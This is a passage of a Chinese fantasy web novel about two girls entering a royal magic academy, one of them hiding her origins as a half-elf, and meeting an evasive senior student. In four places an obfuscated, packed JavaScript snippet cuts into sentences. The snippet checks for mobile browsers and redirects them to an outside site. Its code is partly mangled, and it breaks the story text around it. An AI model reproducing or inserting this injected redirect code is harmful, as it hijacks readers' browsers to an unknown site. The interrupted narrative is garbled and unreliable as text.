格洛瑞亚接收到玛莉安娜的目光，想了想，抽走了其中一张提货单。 “我是塔瑞娜，她是塔里。”格洛瑞亚几乎无法察觉的停顿了一下，惹来玛莉安娜暗地里惊讶的目光，继续面不改色的说，“我们没事，也不需要那么多材料。当然，我们很开心能和你成为朋友。” “是的，很高兴认识你。”玛莉安娜顺畅地接上，她很擅长交朋友，至少比格洛瑞亚擅长一些，“希望能和学长在学院再见！” 接下来的时间，格洛瑞亚和玛莉安娜听着这位金发的五年级学长介绍了不少关于学院的情况。这位学长不再慌乱时的表现堪称风趣幽默，他很全面仔细地应对了不少玛莉安娜的提问，又在恰当的时候表示自己还有其他东西要取，在店铺门口和两个女孩礼貌的分开。 格洛瑞亚看着这位学长离开的背影，在玛莉安娜疑惑地询问“怎么了？”的时候，摇摇头一起朝着下一个店铺走去。 · “你们遇到了一个学长？”乌忒娜一边给两个孩子分三明治，一边惊讶的问。 “他说他是五年级的学生，还给了我们一张提货单赔礼道歉，说我们可以去兑换一点他之前就订购的材料。”玛莉安娜咬了一大口三明治，却还是口齿清晰的说。 “我看了，不算是什么珍贵的东西，只是购买量有点大。”格洛瑞亚拿出那张提货单，交给一旁一言不发的斯顿艾斯。 “……确实不是。”斯顿艾斯迅速扫过提货单上的几样东西，安慰有点担心的乌忒娜。 “玛莉安娜，你真的没伤到哪里吗？格洛瑞亚呢？真的没事吗？”乌忒娜伸手捏了捏玛莉安娜的手臂，又担心的看了看格洛瑞亚，看样子想给两人做一个仔细的全身检查。 “真的没事。格洛瑞亚有接住我，用魔法。”玛莉安娜咽下那口三明治，急忙安慰乌忒娜，格洛瑞亚也在一边默默点头。 乌忒娜松了一口气，格洛瑞亚确实能在保护好自己的同时保护好玛莉安娜，这让她内心隐约一直存在的对两人要去魔法学院学习的担心稍稍缓解了一些。 “而且， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383197|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格洛瑞亚没说我们的名字啦！”玛莉安娜快乐的抛出另一枚炸弹，看着乌忒娜和斯顿艾斯对视一眼，哭笑不得的看向慢慢吃着三明治的格洛瑞亚。 “出门在外，有备无患。”格洛瑞亚看着脸上表情微妙的塔里夫妇，想了想，耸耸肩说。 “……很好！”沉默半晌，乌忒娜郑重表扬，斯顿艾斯也在一旁飞速点头。 中午的平静时光被乌忒娜和斯顿艾斯紧急添加了一节安全科普课程。主讲教师乌忒娜、斯顿艾斯，助教格洛瑞亚，学生只有可怜的玛莉安娜一个人。 玛莉安娜为此单方面和格洛瑞亚绝交了一个中午。 下午的温度升高了不少，玛莉安娜就更想在有着恒温魔法的店铺继续闲逛，被确认大部分采购已经完成的乌忒娜强行拉走。 格洛瑞亚悄悄戳了戳气哼哼的玛莉安娜，得到了一声不轻不重的“哼”。 格洛瑞亚又戳了戳，玛莉安娜不得不转过头来，眼神示意“怎么了？”。 格洛瑞亚看了看刻意对两人的互动视而不见的乌忒娜和一边笑眯眯看着两人互动的斯顿艾斯，抓起玛莉安娜的手，在乌忒娜送的手镯上一块小一些的绿宝石上点了点。 一瞬间，清凉的风从身边掠过，驱散了周身的热意。玛莉安娜惊讶的看看镯子，又惊讶的看看一脸理所当然的格洛瑞亚。 “斯顿艾斯刻了几个常用魔法的法阵在这些宝石里。”格洛瑞亚小声说，看着斯顿艾斯笑眯眯的快走几步更贴近乌忒娜，“以后应该会在学院学到的，比如现在就是小型清凉魔法，夏天必备。” “哇哦……我以为只是一点不一样的花纹来着？”玛莉安娜抬起手对着阳光仔细地看那些宝石，不得不承认自己现在还确实不太认识这些法阵。 “瑞尔……”玛莉安娜还没说完，格洛瑞亚已经把自己的手镯塞了过去。 “瑞尔的手镯刻的是什么？”玛莉安娜同样仔细地看，觉得好像和自己的有点不一样。 “秘密。”格洛瑞亚拿回手镯戴回手腕上，“玛莉安娜可以慢慢认识、慢慢学习。” “瑞尔！”玛莉安娜皱了皱鼻子，还是接受了格洛瑞亚的“要求”，“我会好好学习的！总有一天我也要刻这些！” 看着从气哼哼变得信心满满的玛莉安娜，格洛瑞亚点点头，表示自己永远相信玛莉安娜。 “瑞尔！你看起来有点敷衍。”玛莉安娜幽怨地说。 “我没有。”格洛瑞亚站住，看着还在佯装生气的玛莉安娜，认真地说。 “格洛瑞亚永远相信玛莉安娜。” “玛莉安娜，格洛瑞亚，去买木材喽！”乌忒娜在前面几步远，转身召唤略微掉队的两个女孩。 “……来了！”玛莉安娜如梦初醒般，走向不远处等待两人的乌忒娜和斯顿艾斯。 格洛瑞亚当然永远相信玛莉安娜。 格洛瑞亚会作为一个“人”、作为玛莉安娜永远的朋友，跟在玛莉安娜身后，看着她走向独属于她的幸福。 9. 第9章 来伪装成精灵吧！ 接下来的三个月时间里，格洛瑞亚和塔里一家每周末都会在王都和住所来回往返，从格洛瑞亚和玛莉安娜即将就读的王都魔法学院，到乌忒娜和斯顿艾斯曾经就职的驻外军团驻扎地，每一个有着曾经回忆的地方都被这四个人“参观”过。玛莉安娜表示如果不是格洛瑞亚按住她每周都要复习，从大陆历史和基础算数再到魔法咒语和魔药配方，这三个月的“假期”还能更快乐一点。 “你没说你不喜欢这样。”又一天，格洛瑞亚坐在书桌前，看着毫不客气地占据了自己床铺的玛莉安娜胡乱抱怨，安静的表达了自己的不解。 “我没有不喜欢！”玛莉安娜在格洛瑞亚眼前从床上窜起来，继续半真半假地抱怨，“我还是个学生，学生就没有喜欢学习的！更别提我还是转学，光明神在上，我觉得我的心跳快到能超过兽人族了！” “你没有。”格洛瑞亚一把抓住随着玛莉安娜抱怨在空中乱挥的手按住手腕，两人默默对视一分钟，格洛瑞亚轻声下了决断。 “而且兽人族是很大的族群，仔细分出来的话心跳次数很不一样的。”格洛瑞亚很认真的从书架上面抽出一本书，走到床边递给玛莉安娜。 “……《大陆基础生物科普》，原来还有这种书吗？”玛莉安娜的声音听起来很虚弱，她完全不知道为什么会有这种书出现在家里。 “不是买的。”格洛瑞亚看出来玛莉安娜的无语和震惊，飞快解释，“乌忒娜说可以去王都藏书馆借书……我顺手拿的。” “……我觉得你看这本书看的很开心。”玛莉安娜看着格洛瑞亚一脸认真，选择用这本书盖住自己的脸。再对着格洛瑞亚那一脸平静，她可能会忍不住干点什么。 “事实上，我觉得这些‘科普’能编成书，确实有点……”格洛瑞亚顿了顿，努力抑制了一下自己的语言习惯，争取让接下来的话听起来比较柔和，“但是这本书确实很适合给不太了解各种其他种族的人，毕竟不是所有人都能知道‘精灵不喜欢吃纯素食’这种事情的，精灵族在某些地方还是比较少见的。” “……信我，瑞尔。”玛莉安娜的声音听起来更如梦似幻了，“还有不到两个星期，我们绝对会在学院里见到精灵的。而且，这本书应该也不是能在很多地方见得到的。” “好吧，一开始我确实也只是以为这本书只是介绍各种动植物，毕竟谁也想不到，各族都会被写进这种‘科普书籍’，我以为上面记载的会是能产出各种有用的……”格洛瑞亚剩下的话被玛莉安娜抬起来的枕头打断了。 “虽然我确实很期待我们去学院，但是……”玛莉安娜一拍枕头，义正言辞，“我们也不能完全只想着学习啊！瑞尔，想想其他的活动啊，据说学院里还会开艺术课程的！” “我也非常期待在学院里的生活。”格洛瑞亚看着扔开枕头，又把自己埋进柔软的被子里的玛莉安娜，忍不住拍了拍玛莉安娜的背，“那天遇到的‘休·弗伦特尔德’学长，斯顿艾斯也打听过了。” 玛莉安娜闷闷的应了一声，示意格洛瑞亚继续说。 “斯顿艾斯说，他打听到学院里没有这个人……”看着玛莉安娜猛然扭过头，格洛瑞亚拍了拍被玛莉安娜顺手抛弃的枕头，有点想把它塞到玛莉安娜的脑袋底下。 “嗯，没有这个人，但是根据我们记得的外貌，五年级在读生里倒是有差不多的人。”格洛瑞亚挑眉，看着玛莉安娜原本就又大又圆的眼睛逐渐睁大，“看来是和我们一样，完全报出来假名防止后续有什么意外事故。” 玛莉安娜重重叹气：“我们还是聊聊下个月开学准备选什么课吧……” 格洛瑞亚抚平一角不小心折起来的床单：“我准备选和绘画有关的，玛莉安娜呢？” “可能选个便携的乐器吧……”玛莉安娜动了动，示意格洛瑞亚可以继续“按摩”，“画画不太适合我，我就不和瑞尔一起……” “那我也选一个好了。”格洛瑞亚几乎是不假思索地说。 “……啊？”玛莉安娜从被子里抬起头，一脸茫然。 “我是说，我也可以选一个乐器学一学。”格洛瑞亚一脸平静的重复。 “很好啊……”玛莉安娜迟疑地说，同时又有点疑惑格洛瑞亚为什么也要学。 “不是完全因为玛莉安娜。”格洛瑞亚拿走被玛莉安娜随手放在床上的书，走回书架前放好。 “乌忒娜……和这本书上都说，‘精灵’是一类喜欢音乐、花朵，会尽全力去热爱世界上一切美好事物的种族。”格洛瑞亚背对着玛莉安娜，声音是一贯的清凉柔和，“我们商量了一下，入学的基本资料上会把我的‘种族’填成‘混血精灵’。” 玛莉安娜不得不承认，这应该是相当合适的一个选择。 格洛瑞亚的外貌确实不同于普通人类，更接近外貌奇异的各种非人种族。长长的银发和浅紫色的眼睛在第一面时给玛莉安娜留下的印象就是“精灵”，更别提格洛瑞亚的魔法天赋相当好，精灵也确实是和魔法因子更亲和的种族。 “乌忒娜在前几天也问过我，要不要加上‘塔里’这个姓氏。”格洛瑞亚转回身，看着已经坐起来的玛莉安娜。 “我拒绝了。” 格洛瑞亚轻声说。 · 其实那本《大陆基础生物科普》不是格洛瑞亚自己想借的。至少一开始不是。 乌忒娜很巧妙地挑中了天气异常晴朗的一天，打发斯顿艾斯带上玛莉安娜出门去找王都魔法学院的负责人，商量两个孩子转学的具体事项，争取尽快去学院填写入学基本资料。而乌忒娜自己则是带着格洛瑞亚直接冲向了王都藏书馆。 乌忒娜一贯的教育理念属于“因材施教”，斯顿艾斯更是此理念的集大成者。 格洛瑞亚在短短几个月的时间里表现出了毫不掩饰的对理论书籍的异常热爱。在看完自己行李里带来的几本书之后，借了乌忒娜和斯顿艾斯的多年藏书翻阅。乌忒娜在和斯顿艾斯商量过后，决定给格洛瑞亚在王都藏书馆办一张借书证。 这张借书证同时也能在王都魔法学院里的藏书馆使用，格洛瑞亚只要去不借禁书区的那些书，大部分的书籍都能借到。 格洛瑞亚拿着那张借书证飞快地在藏书馆里找出了五本书，只是走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383198|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出藏书馆的时候怀里变成了六本。 乌忒娜在格洛瑞亚身后用自己的借书证借出了这本《大陆基础生物科普》。 格洛瑞亚没在藏书馆门口问乌忒娜为什么要借这本书。她大概清楚乌忒娜的意思。 如果要入学王都魔法学院，无论要具体到下属的哪一个学院，格洛瑞亚都要给自己一个明面上过得去的正常身份。这个身份要能解释她不同于普通人类的外貌和魔力，但是又不能让人怀疑她的外貌过于接近普通人类。 “所以，我们来找一找这本书上的各种种族里，有什么可能用得上的吧。”乌忒娜带着格洛瑞亚回到家，一起翻开了《大陆基础生物科普》。 “……我其实，还挺想直接填‘人类’的。”格洛瑞亚翻了翻书，突然说。 “我们也希望格洛瑞亚你可以填更普通的资料……”乌忒娜看格洛瑞亚随手别到耳后的长发，坐到格洛瑞亚身后帮她把长发编成了几根长辫。略带遗憾地看着眼前月光一般的银发，乌忒娜也觉得很难办。 “普通人类很少会有这样的银发和紫色的眼睛。”乌忒娜安慰地拍了拍格洛瑞亚的肩，示意她继续看下一个被书记载的种族，“要么是那些‘白化’的人，要么……就是曾经被记载过的一类人，‘神明偏爱的孩子’。” 感受着格洛瑞亚仍然平缓的呼吸，乌忒娜放开了手。 “‘白化’者，身体一般都不是很好，而那些‘神明偏爱的孩子’……”乌忒娜拿出一叠报纸递给格洛瑞亚，“据说，最后一位已经在‘神战’后的百年内离世。而在他之后，就再也没有这类人出现在这片大陆了。” “……”格洛瑞亚看看眼前摊开的书，又看看那叠报纸。 “不能冒险。”格洛瑞亚轻声下了决断，又翻开一页书。 “但是，我不觉得我的外貌完全靠近非人种族。”格洛瑞亚看着沉默的乌忒娜，轻轻敲了敲被翻开的书页。 “或许我可以填写一个‘混血’？”乌忒娜看着被格洛瑞亚推过来的书，视线不由自主地看向格洛瑞亚手指指向的文字。 “精灵……吗？”乌忒娜看看书，又看看格洛瑞亚。 “准确来说是‘混血精灵’。”格洛瑞亚想了想，又看了看书，“毕竟我没有尖耳朵。” 格洛瑞亚一本正经，乌忒娜倒是有点哭笑不得。 “好的，那么这样的话……我们就可以在‘精灵’的基础上‘胡编乱造’了。”乌忒娜起身准备收拾房间，还在想着要把书还回去，就听见格洛瑞亚冷不丁发问。 “我可以留着这本书再看看吗？”格洛瑞亚抬头看着已经站起身的乌忒娜，“以及，为什么我会在不能在资料上把种族填成‘人类’时，突然想‘深呼吸’呢？” 格洛瑞亚很认真，于是乌忒娜也深深地吸了一口气。 “……也许这不是在深呼吸。” 乌忒娜重重地叹出来。 “这种时候，我们会把这个动作叫做‘叹气’。”乌忒娜又轻轻拍了拍格洛瑞亚的肩。 “你只是在遗憾。” “虽然我不知道在遗憾什么。” 10. 第10章 开学喽 时间很快来到王都魔法学院又一年开学的日子。 “……都带好书本了吗？校服呢？换洗的衣服？玛莉安娜我说过，是去学院！我不允许你带收集册！”乌忒娜气势汹汹地把玛莉安娜行李箱里的魔法卡片收集册拿出去，转身在空缺处填上一小箱各色魔法药剂。 格洛瑞亚在一旁提着自己的行李箱，看着同样都是黑发的母女二人斗智斗勇。 “哈哈哈哈哈，活力满满啊！”斯顿艾斯·塔里，这个家另一位异常活泼的人，在门外的马车上终于等不下去了。 “妈妈！要迟到了！”玛莉安娜为了防止战斗继续扩大，选择搬救兵。 “哦……哦！该死的时间之神，总是跑的飞快……”乌忒娜看起来有点慌张，还是飞快地再一次清点好玛莉安娜的行李，视线忍不住又转向了格洛瑞亚的行李箱。 “……咳咳。”格洛瑞亚不自在地努力忽视乌忒娜的灼灼目光，选择转身出门上马车。 “瑞尔等等我！”玛莉安娜抢过终于被母亲检查完的行李箱，跟着格洛瑞亚跑出门。 “妈妈好像太紧张了……”玛莉安娜看父母都没有在太靠近的地方，悄悄和格洛瑞亚咬耳朵。 “嗯，乌忒娜的心跳比平时稍微快了一点。”格洛瑞亚也学着玛莉安娜的样子凑到耳边小声说，“其实斯顿艾斯的心跳也快了不少。” 格洛瑞亚犹豫了一下，接着说：“可是，今天明明是我们去学院报到，她们为什么在‘紧张’？” 玛莉安娜拍了拍格洛瑞亚的肩，故作成熟地说：“可能这就是家长的烦恼吧……” “玛莉安娜·塔里！”正巧登上马车的乌忒娜眼睛一瞪，玛莉安娜乖巧地坐回座位，恨不得连裙摆的褶皱都抚平。 乌忒娜看着眼前一黑一白的两个女孩，仔细打量一番，满意地点点头。 格洛瑞亚一头银发一双紫瞳，常年穿一身简洁干净的白色长裙，衣袖、裙摆处有浅紫色的绑带点缀，学院的必备物品清单上要求学员自备兜帽斗篷，乌忒娜索性自己在家里做出了一黑一白两条，格洛瑞亚和玛莉安娜此时就穿着。颜色不同款式一致的两条精致的斗篷略微有些大，身高略高一些的玛莉安娜穿着能挡住膝盖以上，格洛瑞亚穿着倒是快和裙摆一般长。 “报名表都带了吗？校服都收拾好了是吗？”乌忒娜看起来还想继续嘱咐几句，被笑眯眯扑上来的玛莉安娜打断了。 “妈妈~不用这么担心，我们有出校日，还有假期……”玛莉安娜有点卡壳，想不出来还有什么可以出校的时候，求助地看向格洛瑞亚。 “我们还可以请假。”格洛瑞亚点点头，认真的看向从起床开始就皱着眉头的乌忒娜。 “对！我们还可以请假！”玛莉安娜同样点点头，用力给了乌忒娜一个大大的拥抱，“不用担心我们，我们只是去上学而已。” 乌忒娜拍了拍玛莉安娜的背，终于叹了口气，努力不再纠结格洛瑞亚和玛莉安娜的行李问题。 “你们有什么事情，无论多晚，一定要及时联系我们。”乌忒娜一路上忍了又忍，还是在马车快停在王都魔法学院门口的时候忍不住嘱咐。 “我们会的，我们保证至少每周都会写信。”玛莉安娜跳下马车，顺手扶了一把格洛瑞亚。 “你们要互帮互助，互相照应。”乌忒娜看着源源不断走进学院大门的学生，想到两人接下来在学院的生活，还是忍不住想多说几句，作为一个母亲，她实在是很难放心。 格洛瑞亚看着乌忒娜微红的眼圈，还是犹豫着拿出了一个小盒子递给乌忒娜。 “附加了联络法阵的一块宝石，能联系上玛莉安娜的吊坠，我手里也有一块，输送一定的魔力就能互相联系。”格洛瑞亚看着一脸惊讶的乌忒娜，又看了看一直站在乌忒娜身后，从醒来后就难得严肃的斯顿艾斯。 “本来是想做成和玛莉安娜的吊坠类似的送给你的。”格洛瑞亚低声说，“时间有点来不及了。” “不不，已经很好了。”乌忒娜紧紧攥住那个盒子，朝格洛瑞亚微笑着悄声说，“我和斯顿艾斯给你们也买了庆祝顺利进入学院的礼物，只不过路上时间太长，现在还没到。” 乌忒娜轻轻抱了抱格洛瑞亚和玛莉安娜，站起身，将两个女孩朝学院大门推了推。 “快去吧，不能迟到。” “妈妈/乌忒娜，假期见！” · 格洛瑞亚和玛莉安娜跟随着人群走进学院大门，两人只觉得穿过了一道浅浅的光幕，就看见眼前出现了一道浅绿色的光一直延伸到远处的各个建筑中。 “哇！是指路魔法！”玛莉安娜兴奋的拎着行李箱准备跟着魔法走，就被格洛瑞亚一把抓住拉回身边。 同时，一道人影出现在两人面前。 “休·弗伦特尔德……”格洛瑞亚向前一步挡住玛莉安娜，毫不畏惧地看向这位绝对是刻意等待在门口的学长，直截了当地问，“有什么事吗？我们要去报到，麻烦让开。” “不要这样生气嘛，大家都没说真名，现在重新认识一下也没关系吧？我可以帮你们在学院快速熟悉一些没有太多人知道的情况嘛。”休·弗伦特尔德表现得像那天的偶遇时三人已经完全成为朋友一般，他伸出手，笑眯眯地表示可以成为她们接下来在学院的向导。 “不需要。”格洛瑞亚直截了当地回复，绕开挡在眼前的人就想拉着玛莉安娜离开。 “好吧……”这位金黄发色，在阳光下可以称为在闪闪发光的学长一个闪身就重新出现在两人眼前，再次伸出手。 “重新自我介绍一下，我是卢洛伦德·休·伊特佛诺。”对上玛莉安娜明显不信的眼神，卢洛伦德补充了一下，“弗伦特尔德是我母亲的姓氏，平常生活我会使用这个姓氏。” “……格洛瑞亚。”僵持半晌，格洛瑞亚放弃地握住这只悬在眼前的手，同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383199|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样补充，“没有姓氏。” “……玛莉安娜·塔里。”玛莉安娜站在格洛瑞亚身后自我介绍，格洛瑞亚不经意把她挡了一下，没让她也握手。 “来吧，虽然有指路魔法，但是我可以在路上介绍一下各个地方具体都是做什么的，还有这个。”卢洛伦德拿出两张地图分别递给格洛瑞亚和玛莉安娜，异常骄傲地说，“是我们‘日常魔法研究社’的炼金产品，‘王都魔法学院地图’！当然，目前仅限社团内部使用，下学期准备对外销售。” “很有用的道具，谢谢学长。”格洛瑞亚接过来对照着指路魔法看了看，把地图翻到背面，发现被画出了几个表格。 “特殊设计，我们本来准备把背面做成能提示时间的课程表……”卢洛伦德有点尴尬地抓了抓头发，飞快地把格洛瑞亚手里的地图又翻回正面，“但是目前不太成功，所以现在就只能自己把课程填上去了。” 格洛瑞亚和玛莉安娜带着异常热情的卢洛伦德走遍了几处报道的教室，终于拿到寝室钥匙的时候，两人都松了一口气。 “单人寝室，你们运气不错啊。”等在教室外走廊的卢洛伦德终于等到人出来，伸长了脖子扫了一眼格洛瑞亚手上的钥匙，抬手指向窗外轻快地示意两人看远处树林掩映的一栋小楼。 “那边就是你们的寝室，不过为什么你们会是那栋楼？”卢洛伦德脸上的表情完全不似作假，他是真的在疑惑，“你们不是一年级新生吗？” “那栋楼怎么了吗？”格洛瑞亚避而不答，选择把问题抛回去。 “那栋楼住的人比较少啦，都是一些临时转学过来，或者结束基础魔法学习后想要继续深造学习魔法的学生啦，毕竟基础魔法学习完只是能应付生活而已。”卢洛伦德大大咧咧地继续跟着两人走，一路上喋喋不休得格洛瑞亚和玛莉安娜已经习惯了一直跟在身后的学院介绍。 “继续深造？要学习多久基础魔法才能继续深造？”格洛瑞亚倒像是突然提起了兴趣，“有什么考试吗？有多少人在深造？” “啊？哦，哦哦，那个，因为是王都魔法学院么，所以常驻有大概一百多位？还有很多在大陆各种地方修习魔法，然后会到学院参与各种考试的，毕竟有点天赋的魔法师之类的都不会希望自己的评级只是初级嘛。” 看了看已经能看见大门的宿舍楼，卢洛伦德遗憾地加快语速：“只要正常通过毕业考试从学院毕业，都能拿到初级评定，毕竟大家要在学院里学习至少五年，如果不能通过每年的基础魔法测评还要留级或者干脆被退学的好惨喏……” 玛莉安娜在看见宿舍楼大门的一瞬间就迫不及待地想冲进去，她可是有点怕了这位能聊一路的学长，现在只希望能好好休息一会把疲惫的耳朵清空。 “瑞尔？怎么不进来？”玛莉安娜已经踏上了台阶，格洛瑞亚却站在了门口。 “我想跳级。”格洛瑞亚认真的宣布。 ? 11. 第11章 分班，又是学长 对话终结于玛莉安娜飞快地把格洛瑞亚拉走。 卢洛伦德只能呆呆地看着两人的背影，半晌终于反应过来，挥挥手。 “还真是……风风火火的呢……”卢洛伦德轻哼一声，转身离开。 另一边，玛莉安娜凭借优秀的身体素质和动态视力一口气把格洛瑞亚拉到了四楼两人的宿舍门口。 “瑞尔！说好了的！不能乱来！”玛莉安娜大力推开门，行李没放稳就着急地说。 “冷静，玛莉安娜。”格洛瑞亚眼疾手快地抓住即将和地板亲密接触的行李箱，想了想把两人的行李箱放到一起，自然地邀请，“今天晚上要留宿吗？” 格洛瑞亚又仔细打量了一下不远处的四柱床，又看了看玛莉安娜和自己：“虽然这张床比家里那张小一点，但是还好玛莉安娜的身高没有一次性长太高。” “我还是长高了不少……不是这个！”玛莉安娜下意识跟着格洛瑞亚打量那张床，又很快地反应过来话题被转移，“我是说，你不要就这样和学长说这种……这种突然的决定啦！” “……看来乌忒娜能放心不少。”格洛瑞亚点点头，打了个响指，一阵风过吹散了屋内长久没通风的沉闷。 “我没有突然说我的决定。事实上在决定入学前，我和乌忒娜商量过要不要去更高一级，反正课程差距不大。而且我还有姓‘利威’的一版身份证明，填的年龄……没记错的话今年十四岁。” “……我要喊你‘姐姐’吗？”玛莉安娜的重点抓的一如既往的歪。 格洛瑞亚已经开始动手铺床了，抽空看了一眼还站在门口一脸茫然的玛莉安娜。 “我的意思是，我用假身份入学其实会更方便，也更容易接触一些我需要的东西。” “但是你没有啊？”玛莉安娜终于从‘瑞尔确实年纪大一些’的事实中抽离出来，开始一起收拾未来几年在学院学习的住所。 “嗯。”格洛瑞亚简短地回答，抬手挥了挥。 “因为遇见了意想不到的人。” “所以，还是和之前的身份切割一下比较好。” “以防万一，可以不择手段。” 玛莉安娜不自觉地吞咽了一下。 她觉得格洛瑞亚在刚刚的一瞬间有点吓人。 “当然，现在你也可以叫我‘姐姐’。”格洛瑞亚铺好床又飞快地检查了一圈寝室，拍了拍手。 毕竟要是算上在雪山里独自生活的时间，她应该已经活了很久很久。 格洛瑞亚分出一部分思绪，回忆了一下那座自己已经离开了很久的雪山，当然这份回忆只是回忆，现在还是收拾寝室比较重要。 在格洛瑞亚准备打开行李箱的前一秒，玛莉安娜终于开口了。 “瑞尔……这好像是我的寝室……” “……哦。” 格洛瑞亚面无表情地顿了顿，把行李箱提起来，走到了隔壁，一把推开门。 “……哈哈哈哈哈！”玛莉安娜的笑声隔着墙传到了格洛瑞亚耳边。 “我只是没注意看门牌号。”格洛瑞亚幽幽地说，她知道玛莉安娜听得见。 笑声渐停，玛莉安娜从门口探出头。 “快快快，瑞尔，我们收拾完去逛一逛吧，那个学长真的好多话！我刚才都没看明白，就想赶紧走完流程回寝室了。”玛莉安娜半真半假地抱怨着，看着格洛瑞亚重复刚刚在自己寝室的一套动作，又忍不住笑了几声。 “走吧，我收拾好了。”格洛瑞亚又拍了拍手，示意玛莉安娜准备出发。 “走吧！第一站，食堂！”玛莉安娜活力满满地握拳，转身就走。 格洛瑞亚关好两扇门，在两把门锁上各轻点一下，两道幽幽绿光一闪而过。格洛瑞亚又轻轻拽了拽玛莉安娜的寝室门，确定打不开后转身走向驻足在楼梯上的玛莉安娜。 “食堂会有碳烤铁牛肉吗？” “我觉得只会有烤鸡。” “我还想吃沙拉！” “这个应该哪里都会有。” “没有的话，瑞尔要不要一起吃鱼汤？” “……我不吃鱼。” “诶？瑞尔挑食！” “没有。” 两人在去食堂的路上轻松地畅想未来。 哪怕只是近在眼前的未来，也值得一份期待。 · 正式上课第一天，玛莉安娜起了个大早，或者说她兴奋地根本睡不着，勉勉强强等到了差不多的时间，欢快地去敲隔壁格洛瑞亚的寝室门。 三声敲门声还在空气里回荡，玛莉安娜面前的门就已经打开了。 “早上好！瑞尔你今天真好看！”玛莉安娜迫不及待地挤进门，开始欣赏正在系第十九次领结的格洛瑞亚。 长长的银发编成了一条麻花辫垂在脑后，和眼瞳颜色相近的耳饰在发丝掩映中闪光，合身的校服和略微宽大的斗篷完全掩盖身形。玛莉安娜点点头，戴好帽子，格洛瑞亚看起来就完全是专业魔法师的模样了。 “瑞尔，给你这个。”玛莉安娜欣赏够了，大发慈悲地递出手里提前打好的领结，把那根正在接受第二十一次折磨的领巾拿走了。 “谢谢。我还在想干脆不系了。”格洛瑞亚接过那根已经打好的领结戴好，终于是穿好了这套繁琐的校服。 从寝室走到食堂吃完早饭，两人一起走到了报到时被特意叮嘱要和新入学的新生一起进行测试的大礼堂。 整个礼堂被新生填满，人越来越多，格洛瑞亚和玛莉安娜不得不尽量走向角落躲避。 “你们好呀！”卢洛伦德像前一天一样神出鬼没地出现在了两人眼前，玛莉安娜只觉得这位学长真是阴魂不散。 “好的，早上好，卢洛伦德·休·伊特佛诺学长，请问今天有什么事情吗？还是说昨天有什么情况您没有介绍到？”玛莉安娜非常理解不了这位学长的多次出现，她觉得自己已经尽可能地在礼貌的基础上讽刺了。 卢洛伦德表现得像是完全没听出来，或者说他根本不在乎玛莉安娜的话。 “哦，我来看看今年的新生的分班状况，准备给我们的‘日常魔法研究者’吸收新鲜血液，毕竟社团人员要从新生抓起嘛！” 卢洛伦德一边说，一边似乎是看见了认识的人，抬手打了招呼。 “休，你怎么在这里？”来的是两个人，高一些的男生顶着两只兽耳招摇过市，完全不在乎周围新生偶尔投过来的隐秘目光；矮一些的看起来是个人类女孩，穿着合身的精铁甲胄，看起来英姿勃发，走过来的一路上受到了了不少女孩直白的赞美。 “介绍一下，红狐兽人族的埃利斯；这位是奥罗拉。都是三年级的学生，也是我们的社员哦！”卢洛伦德指了指来人介绍道，又指了指另一边的两个女孩，“格洛瑞亚和玛莉安娜，二年级的新生。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383200|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……瑞尔，好大的耳朵！”在卢洛伦德向两边介绍时，玛莉安娜自认为隐蔽地在背后戳了戳格洛瑞亚，悄悄用气声说。 其实我觉得他们听到了……格洛瑞亚默默地想。 其他三个人默契地假装无事发生，只是卢洛伦德与奥罗拉的眼神不禁飞速扫过埃利斯忍不住轻晃的狐耳。 是蛮可爱……卢洛伦德与奥罗拉两人默契地对视一眼，刚准备说话，就被格洛瑞亚打断。 “劳驾让一让，我们要去参与一下分班。” 格洛瑞亚看见几位明显是教师的成年男女突然出现，人群逐渐向礼堂中心的这几位靠拢，拉着玛莉安娜绕出两堵男性人墙。 “休，你今天不用去上课吗？”埃利斯看着格洛瑞亚和玛莉安娜迫不及待离开的背影，轻轻摸了摸下巴。 “嗯，因为有更重要的事情要来确认一下。”卢洛伦德看着缓慢又有条不紊地进行各种测试的人群，故作神秘。 